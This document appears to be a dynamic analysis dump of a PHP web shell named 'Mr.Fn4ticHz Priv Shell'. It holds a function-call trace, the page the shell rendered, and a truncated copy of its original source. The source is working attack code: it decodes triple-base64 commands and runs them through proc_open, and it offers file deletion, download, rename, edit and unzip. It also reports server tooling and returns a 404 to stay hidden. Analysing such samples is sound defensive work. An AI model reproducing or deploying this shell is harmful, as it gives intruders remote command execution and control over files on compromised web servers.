3	49	0	0.002447	502488	date	0		/var/www/html/uploads/anon.phtml	267	2	'F d Y g:i:s'	1676260610
3	49	1	0.002478	502816
3	49	R			'February 12 2023 10:56:50'
2	47	1	0.002494	502744
2	47	R			'February 12 2023 10:56:50'
2	50	0	0.002508	502520	owner	1		/var/www/html/uploads/anon.phtml	524	1	'/var/www/html/uploads/data'
3	51	0	0.002521	502520	function_exists	0		/var/www/html/uploads/anon.phtml	223	1	'posix_getpwuid'
3	51	1	0.002534	502560
3	51	R			TRUE
3	52	0	0.002546	502520	fileowner	0		/var/www/html/uploads/anon.phtml	224	1	'/var/www/html/uploads/data'
3	52	1	0.002559	502560
3	52	R			0
3	53	0	0.002571	502520	posix_getpwuid	0		/var/www/html/uploads/anon.phtml	224	1	0
3	53	1	0.002594	503320
3	53	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.phtml	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	50	1	0.002635	502568
2	50	R			'<center>root</center>'
2	54	0	0.002650	502264	is_writable	0		/var/www/html/uploads/anon.phtml	526	1	'/var/www/html/uploads/data'
2	54	1	0.002665	502304
2	54	R			TRUE
2	55	0	0.002679	502264	statusnya	1		/var/www/html/uploads/anon.phtml	528	1	'/var/www/html/uploads/data'
3	56	0	0.002692	502264	fileperms	0		/var/www/html/uploads/anon.phtml	590	1	'/var/www/html/uploads/data'
3	56	1	0.002704	502304
3	56	R			16895
3	57	0	0.002717	502264	sprintf	0		/var/www/html/uploads/anon.phtml	590	2	'%o'	16895
3	57	1	0.002730	502648
3	57	R			'40777'
3	58	0	0.002743	502584	substr	0		/var/www/html/uploads/anon.phtml	590	2	'40777'	-4
3	58	1	0.002756	502680
3	58	R			'0777'
2		A						/var/www/html/uploads/anon.phtml	590	$izin = '0777'
2	55	1	0.002779	502296
2	55	R			'0777'
2	59	0	0.002792	502264	is_writable	0		/var/www/html/uploads/anon.phtml	529	1	'/var/www/html/uploads/data'
2	59	1	0.002807	502304
2	59	R			TRUE
2	60	0	0.002821	502272	is_dir	0		/var/www/html/uploads/anon.phtml	519	1	'/var/www/html/uploads/prepend.php'
2	60	1	0.002836	502320
2	60	R			FALSE
2	61	0	0.002850	502264	is_file	0		/var/www/html/uploads/anon.phtml	548	1	'/var/www/html/uploads/.'
2	61	1	0.002865	502288
2	61	R			FALSE
2	62	0	0.002878	502256	is_file	0		/var/www/html/uploads/anon.phtml	548	1	'/var/www/html/uploads/..'
2	62	1	0.002892	502304
2	62	R			FALSE
2	63	0	0.002905	502264	is_file	0		/var/www/html/uploads/anon.phtml	548	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.002920	502304
2	63	R			TRUE
2	64	0	0.002932	502264	filesize	0		/var/www/html/uploads/anon.phtml	549	1	'/var/www/html/uploads/.htaccess'
2	64	1	0.002945	502304
2	64	R			64
1		A						/var/www/html/uploads/anon.phtml	549	$size = 0.0625
2	65	0	0.002970	502208	round	0		/var/www/html/uploads/anon.phtml	550	2	0.0625	3
2	65	1	0.002983	502280
2	65	R			0.063
1		A						/var/www/html/uploads/anon.phtml	550	$size = 0.063
1		A						/var/www/html/uploads/anon.phtml	554	$size = '0.063 KB'
2	66	0	0.003018	502304	cekfile	1		/var/www/html/uploads/anon.phtml	558	1	'/var/www/html/uploads/.htaccess'
2	66	1	0.003031	502304
2	66	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	67	0	0.003048	502560	filedate	1		/var/www/html/uploads/anon.phtml	560	1	'/var/www/html/uploads/.htaccess'
3	68	0	0.003061	502560	filemtime	0		/var/www/html/uploads/anon.phtml	267	1	'/var/www/html/uploads/.htaccess'
3	68	1	0.003074	502600
3	68	R			1676260610
3	69	0	0.003098	502560	date	0		/var/www/html/uploads/anon.phtml	267	2	'F d Y g:i:s'	1676260610
3	69	1	0.003138	502888
3	69	R			'February 12 2023 10:56:50'
2	67	1	0.003154	502816
2	67	R			'February 12 2023 10:56:50'
2	70	0	0.003169	502624	owner	1		/var/www/html/uploads/anon.phtml	561	1	'/var/www/html/uploads/.htaccess'
3	71	0	0.003187	502624	function_exists	0		/var/www/html/uploads/anon.phtml	223	1	'posix_getpwuid'
3	71	1	0.003201	502664
3	71	R			TRUE
3	72	0	0.003214	502624	fileowner	0		/var/www/html/uploads/anon.phtml	224	1	'/var/www/html/uploads/.htaccess'
3	72	1	0.003228	502664
3	72	R			0
3	73	0	0.003253	502624	posix_getpwuid	0		/var/www/html/uploads/anon.phtml	224	1	0
3	73	1	0.003279	503424
3	73	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.phtml	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	70	1	0.003322	502672
2	70	R			'<center>root</center>'
2	74	0	0.003337	502304	is_writable	0		/var/www/html/uploads/anon.phtml	563	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.003357	502344
2	74	R			FALSE
2	75	0	0.003371	502304	is_readable	0		/var/www/html/uploads/anon.phtml	564	1	'/var/www/html/uploads/.htaccess'
2	75	1	0.003386	502344
2	75	R			TRUE
2	76	0	0.003400	502304	statusnya	1		/var/www/html/uploads/anon.phtml	565	1	'/var/www/html/uploads/.htaccess'
3	77	0	0.003413	502304	fileperms	0		/var/www/html/uploads/anon.phtml	590	1	'/var/www/html/uploads/.htaccess'
3	77	1	0.003426	502344
3	77	R			33188
3	78	0	0.003438	502304	sprintf	0		/var/www/html/uploads/anon.phtml	590	2	'%o'	33188
3	78	1	0.003451	502688
3	78	R			'100644'
3	79	0	0.003463	502624	substr	0		/var/www/html/uploads/anon.phtml	590	2	'100644'	-4
3	79	1	0.003476	502720
3	79	R			'0644'
2		A						/var/www/html/uploads/anon.phtml	590	$izin = '0644'
2	76	1	0.003500	502336
2	76	R			'0644'
2	80	0	0.003513	502304	is_writable	0		/var/www/html/uploads/anon.phtml	566	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.003529	502344
2	80	R			FALSE
2	81	0	0.003543	502304	is_readable	0		/var/www/html/uploads/anon.phtml	566	1	'/var/www/html/uploads/.htaccess'
2	81	1	0.003557	502344
2	81	R			TRUE
2	82	0	0.003570	502248	class_exists	0		/var/www/html/uploads/anon.phtml	575	1	'ZipArchive'
2	82	1	0.003584	502288
2	82	R			FALSE
2	83	0	0.003600	502312	is_file	0		/var/www/html/uploads/anon.phtml	548	1	'/var/www/html/uploads/anon.phtml'
2	83	1	0.003636	502360
2	83	R			TRUE
2	84	0	0.003650	502320	filesize	0		/var/www/html/uploads/anon.phtml	549	1	'/var/www/html/uploads/anon.phtml'
2	84	1	0.003663	502360
2	84	R			19301
1		A						/var/www/html/uploads/anon.phtml	549	$size = 18.8486328125
2	85	0	0.003687	502216	round	0		/var/www/html/uploads/anon.phtml	550	2	18.8486328125	3
2	85	1	0.003700	502288
2	85	R			18.849
1		A						/var/www/html/uploads/anon.phtml	550	$size = 18.849
1		A						/var/www/html/uploads/anon.phtml	554	$size = '18.849 KB'
2	86	0	0.003737	502320	cekfile	1		/var/www/html/uploads/anon.phtml	558	1	'/var/www/html/uploads/anon.phtml'
2	86	1	0.003750	502320
2	86	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	87	0	0.003767	502576	filedate	1		/var/www/html/uploads/anon.phtml	560	1	'/var/www/html/uploads/anon.phtml'
3	88	0	0.003779	502576	filemtime	0		/var/www/html/uploads/anon.phtml	267	1	'/var/www/html/uploads/anon.phtml'
3	88	1	0.003792	502616
3	88	R			1676260610
3	89	0	0.003805	502576	date	0		/var/www/html/uploads/anon.phtml	267	2	'F d Y g:i:s'	1676260610
3	89	1	0.003836	502904
3	89	R			'February 12 2023 10:56:50'
2	87	1	0.003851	502832
2	87	R			'February 12 2023 10:56:50'
2	90	0	0.003865	502640	owner	1		/var/www/html/uploads/anon.phtml	561	1	'/var/www/html/uploads/anon.phtml'
3	91	0	0.003877	502640	function_exists	0		/var/www/html/uploads/anon.phtml	223	1	'posix_getpwuid'
3	91	1	0.003891	502680
3	91	R			TRUE
3	92	0	0.003904	502640	fileowner	0		/var/www/html/uploads/anon.phtml	224	1	'/var/www/html/uploads/anon.phtml'
3	92	1	0.003917	502680
3	92	R			1000
3	93	0	0.003929	502640	posix_getpwuid	0		/var/www/html/uploads/anon.phtml	224	1	1000
3	93	1	0.003961	503456
3	93	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.phtml	224	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	90	1	0.004010	502696
2	90	R			'<center>osboxes</center>'
2	94	0	0.004027	502320	is_writable	0		/var/www/html/uploads/anon.phtml	563	1	'/var/www/html/uploads/anon.phtml'
2	94	1	0.004042	502360
2	94	R			FALSE
2	95	0	0.004056	502320	is_readable	0		/var/www/html/uploads/anon.phtml	564	1	'/var/www/html/uploads/anon.phtml'
2	95	1	0.004070	502360
2	95	R			TRUE
2	96	0	0.004083	502320	statusnya	1		/var/www/html/uploads/anon.phtml	565	1	'/var/www/html/uploads/anon.phtml'
3	97	0	0.004096	502320	fileperms	0		/var/www/html/uploads/anon.phtml	590	1	'/var/www/html/uploads/anon.phtml'
3	97	1	0.004108	502360
3	97	R			33204
3	98	0	0.004121	502320	sprintf	0		/var/www/html/uploads/anon.phtml	590	2	'%o'	33204
3	98	1	0.004134	502704
3	98	R			'100664'
3	99	0	0.004156	502640	substr	0		/var/www/html/uploads/anon.phtml	590	2	'100664'	-4
3	99	1	0.004170	502736
3	99	R			'0664'
2		A						/var/www/html/uploads/anon.phtml	590	$izin = '0664'
2	96	1	0.004195	502352
2	96	R			'0664'
2	100	0	0.004208	502320	is_writable	0		/var/www/html/uploads/anon.phtml	566	1	'/var/www/html/uploads/anon.phtml'
2	100	1	0.004224	502360
2	100	R			FALSE
2	101	0	0.004238	502320	is_readable	0		/var/www/html/uploads/anon.phtml	566	1	'/var/www/html/uploads/anon.phtml'
2	101	1	0.004253	502360
2	101	R			TRUE
2	102	0	0.004302	502256	class_exists	0		/var/www/html/uploads/anon.phtml	575	1	'ZipArchive'
2	102	1	0.004319	502296
2	102	R			FALSE
2	103	0	0.004333	502312	is_file	0		/var/www/html/uploads/anon.phtml	548	1	'/var/www/html/uploads/data'
2	103	1	0.004349	502344
2	103	R			FALSE
2	104	0	0.004363	502312	is_file	0		/var/www/html/uploads/anon.phtml	548	1	'/var/www/html/uploads/prepend.php'
2	104	1	0.004378	502360
2	104	R			TRUE
2	105	0	0.004391	502320	filesize	0		/var/www/html/uploads/anon.phtml	549	1	'/var/www/html/uploads/prepend.php'
2	105	1	0.004404	502360
2	105	R			57
1		A						/var/www/html/uploads/anon.phtml	549	$size = 0.0556640625
2	106	0	0.004429	502216	round	0		/var/www/html/uploads/anon.phtml	550	2	0.0556640625	3
2	106	1	0.004442	502288
2	106	R			0.056
1		A						/var/www/html/uploads/anon.phtml	550	$size = 0.056
1		A						/var/www/html/uploads/anon.phtml	554	$size = '0.056 KB'
2	107	0	0.004477	502320	cekfile	1		/var/www/html/uploads/anon.phtml	558	1	'/var/www/html/uploads/prepend.php'
2	107	1	0.004491	502320
2	107	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	108	0	0.004508	502576	filedate	1		/var/www/html/uploads/anon.phtml	560	1	'/var/www/html/uploads/prepend.php'
3	109	0	0.004521	502576	filemtime	0		/var/www/html/uploads/anon.phtml	267	1	'/var/www/html/uploads/prepend.php'
3	109	1	0.004534	502616
3	109	R			1676260610
3	110	0	0.004547	502576	date	0		/var/www/html/uploads/anon.phtml	267	2	'F d Y g:i:s'	1676260610
3	110	1	0.004579	502904
3	110	R			'February 12 2023 10:56:50'
2	108	1	0.004594	502832
2	108	R			'February 12 2023 10:56:50'
2	111	0	0.004608	502640	owner	1		/var/www/html/uploads/anon.phtml	561	1	'/var/www/html/uploads/prepend.php'
3	112	0	0.004621	502640	function_exists	0		/var/www/html/uploads/anon.phtml	223	1	'posix_getpwuid'
3	112	1	0.004634	502680
3	112	R			TRUE
3	113	0	0.004647	502640	fileowner	0		/var/www/html/uploads/anon.phtml	224	1	'/var/www/html/uploads/prepend.php'
3	113	1	0.004659	502680
3	113	R			0
3	114	0	0.004672	502640	posix_getpwuid	0		/var/www/html/uploads/anon.phtml	224	1	0
3	114	1	0.004696	503440
3	114	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.phtml	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	111	1	0.004738	502688
2	111	R			'<center>root</center>'
2	115	0	0.004754	502320	is_writable	0		/var/www/html/uploads/anon.phtml	563	1	'/var/www/html/uploads/prepend.php'
2	115	1	0.004770	502360
2	115	R			FALSE
2	116	0	0.004783	502320	is_readable	0		/var/www/html/uploads/anon.phtml	564	1	'/var/www/html/uploads/prepend.php'
2	116	1	0.004801	502360
2	116	R			TRUE
2	117	0	0.004817	502320	statusnya	1		/var/www/html/uploads/anon.phtml	565	1	'/var/www/html/uploads/prepend.php'
3	118	0	0.004831	502320	fileperms	0		/var/www/html/uploads/anon.phtml	590	1	'/var/www/html/uploads/prepend.php'
3	118	1	0.004845	502360
3	118	R			33261
3	119	0	0.004863	502320	sprintf	0		/var/www/html/uploads/anon.phtml	590	2	'%o'	33261
3	119	1	0.004877	502704
3	119	R			'100755'
3	120	0	0.004891	502640	substr	0		/var/www/html/uploads/anon.phtml	590	2	'100755'	-4
3	120	1	0.004904	502736
3	120	R			'0755'
2		A						/var/www/html/uploads/anon.phtml	590	$izin = '0755'
2	117	1	0.004928	502352
2	117	R			'0755'
2	121	0	0.004942	502320	is_writable	0		/var/www/html/uploads/anon.phtml	566	1	'/var/www/html/uploads/prepend.php'
2	121	1	0.004969	502360
2	121	R			FALSE
2	122	0	0.004988	502320	is_readable	0		/var/www/html/uploads/anon.phtml	566	1	'/var/www/html/uploads/prepend.php'
2	122	1	0.005005	502360
2	122	R			TRUE
2	123	0	0.005018	502256	class_exists	0		/var/www/html/uploads/anon.phtml	575	1	'ZipArchive'
2	123	1	0.005032	502296
2	123	R			FALSE
2	124	0	0.005046	502256	author	1		/var/www/html/uploads/anon.phtml	587	0
			0.005075	420856
TRACE END   [2023-02-13 01:57:16.133215]


Generated HTML code

<html><head>
    <title>Mr.Fn4ticHz Priv Shell</title>
    <meta name="author" content="Mr.Fn4ticHz">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Crushed Is Batter Than Fixing">
    <meta property="og:description" content="Crushed Is Batter Than Fixing">
    <meta property="og:image" content="https://bbx-host.pw/bbr.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">Mr.Fn4ticHz Priv Shell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
Server IP : <font color="gold">::1</font> &nbsp;/&nbsp; Your IP : <font color="gold">::1</font><br>Web Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>MySQL : <font color="red">OFF</font> &nbsp;|&nbsp; cURL : <font color="green">ON</font> &nbsp;|&nbsp; WGET : <font color="green">ON</font> &nbsp;|&nbsp; Perl : <font color="green">ON</font> &nbsp;|&nbsp; Python : <font color="red">OFF</font><br>Directory (<font color="green">0777</font>) : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td></td></tr></tbody></table><br><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr><th>[ &nbsp;<a href="/anon.phtml">Home</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;komend=gaskan">C0mmand</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;upload=gaskan">Upload File</a>&nbsp; ]</th></tr></tbody></table><br><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr>
    <td><i class="fa fa-folder" style="color: #ffe9a2"></i> <a href="?path=/var/www/html/..">..</a></td>
    <td><center>--</center></td>
    <td><center>February 12 2023 10:56:43</center></td>
    <td><center>root</center></td>
    <td><center><font color="green">0777</font></center></td>
    <td><center><form method="POST" action="?pilihan&amp;path=/var/www/html">
    <select name="pilih">
    <option value=""></option>
    <option value="hapus">Delete</option>
    <option value="gantinama">Rename</option>
    </select>
    <input type="hidden" name="type" value="dir">
    <input type="hidden" name="name" value="..">
    <input type="hidden" name="path" value="/var/www/html/..">
    <input type="submit" class="gas" value=">">
    </form></center></td>
    </tr><tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/anon.phtml&amp;path=/var/www/html">anon.phtml</a></td>
<td><center>18.849 KB</center></td>
<td><center>February 12 2023 10:56:43</center></td>
<td><center>osboxes</center></td>
<td><center>0664</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="anon.phtml">
<input type="hidden" name="path" value="/var/www/html/anon.phtml">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>February 12 2023 10:56:43</center></td>
<td><center>root</center></td>
<td><center>0644</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br>AnonSec - 2021</center></div></body></html>

Original PHP code

<!DOCTYPE html>
<html>
<head>
    <title>Mr.Fn4ticHz Priv Shell</title>
    <meta name="author" content="Mr.Fn4ticHz">
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Crushed Is Batter Than Fixing">
    <meta property="og:description" content="Crushed Is Batter Than Fixing">
    <meta property="og:image" content="https://bbx-host.pw/bbr.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">Mr.Fn4ticHz Priv Shell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
    echo "<center><br>AnonSec - 2021</center>";
    exit();
}

function cekdir() {
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function cekroot() {
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function dunlut($file) {
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die();
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die();
}

function owner($file) {
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>".$tod['name']."</center>";
    } else {
        return "<center>".fileowner($file)."</center>";
    }
}

function cekwrite($lokasi) {
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>".$izin."</font>";
    } else {
        return "<font color=red>".$izin."</font>";
    }
}

function ekse($komend, $lokasi) {
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
}

function ipserv() {
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
        if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
            return $_SERVER['SERVER_NAME'];
        }
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}

function cekfile($file) {
     return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}

function filedate($file) {
    return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die();
    } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
        red("This isn't Zip File !");
        die();
    }
    $zip = new ZipArchive;
    $res = $zip -> open($file);
    if ($res == true) {
        $zip -> extractTo($lokasi);
        $zip -> close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}

function green($text) {
    echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
    echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
    $_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
